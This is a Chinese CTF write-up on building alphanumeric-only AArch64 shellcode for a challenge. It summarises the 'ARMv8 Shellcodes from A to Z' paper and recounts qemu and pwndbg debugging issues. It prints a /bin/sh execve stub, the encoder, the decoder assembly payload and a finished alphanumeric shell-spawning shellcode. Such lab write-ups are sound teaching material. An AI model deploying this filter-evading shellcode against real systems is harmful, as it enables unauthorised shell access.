exec
写一个shellcode
或者是一个ORW
。
字符限制在:0x30~0x39
、0x41~0x5a
、0x61~0x7a
主要的难度是是将shellcode
转变
首先我们来学习一下ARM
原本的shellcode
.section .text
.global _start
_start:
# system("/bin/sh")
adr x0, ascii
mov x1, #0
mov x2, #0
mov x8, #221
svc 0
ascii:
.string "/bin/sh"
很简单,adr
获取地址,mov
来构造参数,但是这里有很多不可见字符,为了构造我们需要的可见字符,我们通过查阅论文1608.03415v2.pdf (arxiv.org)来构造出其shellcode
。
ARMv8 Shellcodes from ‘A’ to ‘Z’ 文献阅读
文献阅读部分,仅仅摘录了关键部分,要想理解原理,请看原文。
1. ARMv8 AArch64
指令格式:ldr x16 , PC +0x60604
0~4
比特编码为Xt
寄存器,imm19
即为地址相关的值。有意思的是,寄存器和常量在指令中彼此相连。这对于创建字母数字shell代码来说是一个真正的优势,因为它表明共享前缀的指令可能是相关的。
2. Building the instruction set
使用附录A生成了很多字母字符,希望对应到有效指令。
例如,字000X
对应于LDR
指令,而字000s
不对应于任何有效的AArch64
指令:
有效指令最终被分类为与数据处理、分支、加载/存储等有关。在这一步,我们建立了所有有效的字母数字AArch64指令的第一个列表A0。
从A0开始,我们构造了一个操作码集合A1,其中至少存在一个操作数实例,使得它是字母数字的。最后,我们从A1中提取了可以用于原型更高层次构造的指令。这个最终的列表被称为Amax。
2.1. Data processing
此外,Amax限制我们将每个指令的sf位设为0,这就限制了我们只能使用大多数指令的32位变体,阻碍了我们修改寄存器的32位上的值
2.2 Branches
只有这几个能跳转。
然而,只有tbz和它的对立面tbnz对循环有实际的用途,因为其他三个分支指令需要一个太大的偏移量。因此,Amax只包含tbz和tbnz作为分支指令。
异常和系统指令都不可用。这意味着我们不能使用系统调用,也不能清除指令或数据缓存。这使得编写高级代码具有挑战性,并且依赖于实现
许多加载和存储指令可以是字母数字指令。不过需要好好调优。
3.高级构造
一个真实的程序可能需要关于寄存器和内存状态的信息,包括程序计数器和处理器标志。使用Amax不能立即获得这些信息。我们通过提供更高层次的构造来克服这个困难,然后这些构造可以组合成更复杂的程序。事实上,事实证明Amax是图灵完备的。通过提供每个构造的多个变体,这些高级构造还可以更容易地将程序变成多态的。
置零
将AArch64寄存器设置为零有多种方法。其中一种是字母数字的,在许多寄存器上都能很好地工作,它包括使用两个以及带有移位寄存器的指令。但是,我们只重置了寄存器的32 lsb。这在处理地址时就成为一个问题。
一个例子:
这对应于字母数字代码1BQj1BQj。下表总结了我们可以执行的一些归零操作:
写入构造的值。
由于没有仅仅使用字母数字执行加载的直接办法,所以我们需要选择一种间接策略,通过加减,来改变值。通过重复操作,我们可以构造任意值。
比如:增加1。
字符代码为:ki01ke0q。
减少一:
字符代码为:ki0qke01。
mov操作
我们可以将源寄存器置为0,然后再与目标寄存器以后即可。
Fully Alphanumeric AArch64
编码器E是用PHP编写的,而相应的解码器D是用Amax的指令实现的,作为向量的一部分。最后,我们实现了一个链接器LD,它将编码的有效负载嵌入到d中。该操作生成一个字母数字程序a←LD(E(P))
编码器
由于我们有62个字母数字字符,理论上每一个字母数字字节几乎可以编码6位。然而,为了保持aarch64的特性,我们只对每个字母数字字节编码4位。这将有效负载P的每个二进制字节分散到2个字母数字连续字符上。编码器E的源代码可以在附录D中找到,它分割输入字节P[i],并在每一个小块中添加0x40。
0以一种特殊的方式编码:上述编码将给出0x40,即字符’ @ ‘,它不属于我们的字母数字字符集。将0x10加到之前计算的a[k]上,将其转换为0x50,对应于’ P ‘。
解码器
下面是我们用来解码的小trick
。
第一个eon
操作,将WA左移20位,并将其反置。因为Wz
为0
ands仅用于保留wB的4个LSBs。之所以使用模式0xFFFF000F(而不是简单的0xF),是因为指令和wB, wB, 0xFFFF000F是字母数字,而和wB, wB, 0xF不是。
最后一个econ
操作,wA向右移动了16位,然后与WB
异或。
最终执行的操作如下:
调试过程中遇到的问题
如果说,这道题让我收获最多的是,不是知道这个东西该如何去转,而是在这次调试中遇到很多很有意思的问题,虽然调试了很久,但是学到了很多东西。
qemu-arrch64-static
启动的ezsc
运行到mmap
就直接报错。
根本原因:是我的-L 库地址
有问题,后来再询问ling
的时候,感谢ling
大佬给我的arm
库包,能够直接运行成功。
直接原因:是地址碰撞了,与qemu
翻译地址撞了。所以我们可以patch
一下,即可成功【虽然,执行下来了,但是程序还是出bug
】。
调试过程中不明原因出现段错误。
原因:mmap
申请内存是匿名页,如果没有对自身程序没有对该片区域进行访存操作,在qemu下如果有外部进程对其进行读取或写入等访存操作就会报错,然后我们使用的是pwndbg
,而pwndbg
会根据寄存器提前查看内存,如果这部分内存没有值,也就是这个页,没有COW到本地,就会出现报错。
处理办法
处理办法:
我们可以让shellcode的长度大于0x3000,使在写入的时候就已经创建了内存,那么在pwndbg
在调试程序的时候,就不会发生错误了。
helloworld.txt
jiL0JaBqJe4qKbL0kaBqkM91k121sBSjsBSjb2Sjb8Y7R1A9Y5A9Jm01Je0qrR2J9O0r9CrJyI38ki01ke0qBh01Bd0qszH6PPBPJHMBAOPPPPIAAKPPPPIDPPPPPPADPPALPPECPBBPJAMBPAPCHPMBPABPJAOBBAPPDPOIJAOOBOCGPAALPPECAOBHPPGADAPPPPOIFAPPPPEDJPPAHPEBOGOOOOAGLPPCEOMFOMGKKNJIOMPCPPIAOCPKPPOIOCPCPPJJFPPBDPCIHPPPPPCDGCPFPPIANLOOOOIGOLOOOOAGOCPKDPOIOMGKLBJHLPPCEOMFOMGKKOJIPPPMHPEBOMPCPPIANDOOOOIGJPPLHPEBNBOOOOIGHPPMHPEBNPOOOOIGHPPMHPEBMNOOOOIGNPPMHPEBMLOOOOIGHPPEHPEBMJOOOOIGPPPDHPEBMHOOOOIGNPPNHPEBMFOOOOIGNPPMHPEBMDOOOOIGDPPNHPEBMBOOOOIGHPPMHPEBMPOOOOIGHPPLHPEBLNOOOOIGBPPDHPEBLLOOOOIGDPPAHPEBLJOOOOIGPPPPHPEBOMGKLAJHLPPCEOMFBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjszO6
生成字符代码
只截取了一部分:
根据其给的m4
代码,我们将其改为python
代码
payload = """
l1 :
ADR X10 , l1 + 0b010011000110100101101
SUBS W10 , W10 , #0x98 , lsl #12
SUBS W10 , W10 , #0xD19
l2 :
ADR X11 , l2 + 0b010011000110001001001
SUBS W11 , W11 , #0x98 , lsl #12
ADDS W11 , W11 , #0xE53
ADDS W11 , W11 , #0xC8C
ANDS W19 , W19 , W19 , lsr #16
ANDS W19 , W19 , W19 , lsr #16
ANDS W2 , W19 , W19 , lsr #12
loop :
TBNZ W2 , #0b01011 , 0b0010011100001100
LDRB W18 , [ X10 , #76]
LDRB W25 , [ X10 , #77]
ADDS W10 , W10 , #0xC1B
SUBS W10 , W10 , #0xC19
EON W18 , W19 , W18 , lsl #20
.word 0x72304F39
EON W25 , W25 , W18 , lsr #16
STRB W25 , [ X11 , W19 , uxtw ]
ADDS W11 , W11 , #0xC1A
SUBS W11 , W11 , #0xC19
ADDS W2 , W2 , #0xC1A
SUBS W2 , W2 , #0xC19
TBZ W19 , #0b01001 , next\n"""
payload += " .word 0x42424242\n"*978
payload += "next:\n"
payload += " ANDS W26, W26, W26, lsr #12;\n"*77
payload += " TBZ W19 , #0b01001, loop;\n"
得到我们的shellcode
shellcode = asm(shellcraft.sh())
# getshell_elf = make_elf(shellcode)
f = open("./getshell","wb")
f.write(shellcode)
f.close()
编码
def alph_decode(file1,file2):
f1 = open(file1,"r")
shellcode = f1.read()
f1.close()
s = ""
for i in range(len(shellcode)):
tmp = ord(shellcode[i])
s += mkchr((tmp>>4)&0xF)
s += mkchr(tmp&0xF)
s = s.replace("@","P")
f2 = open(file2,"wb")
f2.write(s)
f2.close()
连接在一起
The payload has to be be placed at the offset designated by the label pool.
shellcode = "NNDEHLMBBNLMJMOBNNNELEOBNNFENNOBPOPMHPMBNNCOKOJINPPCPPIANAPCAOJJNBPCAOJJJHAKHPMBPAPPPPMD"
res = payload[:payload.find("BBBB")]+shellcode+payload[payload.find("BBBB")+len(shellcode):]
最后的shellcode
一定要将其填充满,不然qemu
+gdb-aarch
约等于玄学。
总结
这道题目还是很有意思的,我猜测出题人的出题思路应该是来源于Google CTF
的一道misc
题。https://ctftime.org/writeup/29448
这道题目如果没有这些奇奇怪怪的错误的话,难度应该算中等偏上吧,毕竟这论文不好找,全英的论文也不好看(原谅我英语太菜)。
收获最多的还是对qemu-aarch
+gdb
调试多了一分经验吧。
参考
https://eqqie.cn/index.php/archives/1888#menu_index_8
https://arxiv.org/pdf/1608.03415v2.pdf
https://ctftime.org/writeup/29448